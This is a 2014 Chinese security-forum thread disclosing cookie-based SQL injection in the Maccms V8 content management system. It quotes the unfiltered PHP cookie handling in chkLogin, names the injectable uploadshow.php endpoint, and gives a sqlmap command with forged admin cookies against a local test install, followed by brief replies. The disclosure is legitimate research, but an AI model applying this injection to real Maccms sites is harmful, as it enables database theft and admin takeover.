查看: 16450|回复: 8

Maccms V8 Sql Injection #1(有gpc限制)

[复制链接]
发表于 2014-6-22 12:23:51 | 显示全部楼层 |阅读模式
是cookie注入,有gpc限制,4处注入点
重现下发现过程
1. inc/common/function.php
直接获取cookie,未过滤
[AppleScript] 纯文本查看 复制代码
<pre><code>function getCookie($key)
{
    if(!isset($_COOKIE[$key])){
        return '';
    }
    else{
        return $_COOKIE[$key];
    }
}
</code>

2. admin/admin_conn.php
chkLogin() 函数获取cookie未过滤
[AppleScript] 纯文本查看 复制代码
</pre>
<pre><code>function chkLogin()
{
    global $db;
    $m_id = getCookie('adminid'); //这里直接没有过滤
    $m_name = getCookie('adminname'); //这里直接没有过滤
    $m_check = getCookie('admincheck'); //这里直接没有过滤
    /*
    print '$m_id='.$m_id.'&lt;br&gt;';
    print '$m_name='.$m_name.'&lt;br&gt;';
    print '$m_check='.$m_check.'&lt;br&gt;';
    */
    if (!isN($m_name) &amp;&amp; !isN($m_id)){
        /*
        print '$sql=';
        print 'SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1';
        print '&lt;br&gt;';
        */
        $row = $db-&gt;getRow('SELECT * FROM {pre}manager WHERE m_name=\'' . $m_name .'\' AND m_id= \''.$m_id .'\' AND m_status=1');
        if($row){
            $loginValidate = md5($row['m_random'] . $row['m_name'] . $row['m_id']);
            if ($m_check != $loginValidate){ 
               sCookie ('admincheck','');
               redirect('?m=admin-login','top.');
            }
        }
        else{
            sCookie ('admincheck','');
            redirect('?m=admin-login','top.');
        }
    }
    else{
        redirect('?m=admin-login','top.');
    }
}</code>

3. admin/editor/uploadshow.php
但是cookie都通过了360_safe3.php保护,怎么办呢?当然是找漏网之鱼了,发现几处
[AppleScript] 纯文本查看 复制代码
</pre>
<pre><code>&lt;?php
require(dirname(__FILE__) .'/../admin_conn.php');
chkLogin();
$action=be("get","action");
$id=be("get","id");
$path=be("get","path");
?&gt;</code>

此处调用完全没过滤,直接sqlmap开搞即可

证明:
官网不是这个程序,本地搭的
>sqlmap.py -u "http://localhost/maccms8/admin/editor/uplo
adshow.php" --cookie="adminid=1; adminname=admin; admincheck=aaaa" -p cookie
2511311309ed73fed9bd982c3c0b0d736752b997.jpg
漏洞作者: Mody

评分

参与人数 2i币 +20 收起 理由
名哲 + 10 感谢分享
管理01 + 10 感谢分享

查看全部评分

回复

使用道具 举报

发表于 2014-6-22 14:42:40 | 显示全部楼层
楼主请问gpc限制是什么东西?
回复 支持 反对

使用道具 举报

发表于 2014-6-23 12:43:42 | 显示全部楼层
感谢分享
回复 支持 反对

使用道具 举报

发表于 2014-7-13 00:01:17 | 显示全部楼层
不懂 过来顶一下
回复 支持 反对

使用道具 举报

发表于 2014-7-15 22:05:56 | 显示全部楼层
看看......................
回复

使用道具 举报

发表于 2014-7-15 22:11:37 | 显示全部楼层
好像很赞的样子
回复 支持 反对

使用道具 举报

发表于 2014-8-3 23:23:37 | 显示全部楼层
学习一下,谢谢分享!
回复 支持 反对

使用道具 举报

发表于 2014-9-17 15:44:24 | 显示全部楼层
金币则么正
回复 支持 反对

使用道具 举报

发表于 2014-11-15 01:01:03 | 显示全部楼层
学习了@@@@@@@@@
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 23:14 , Processed in 0.100196 second(s), 23 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部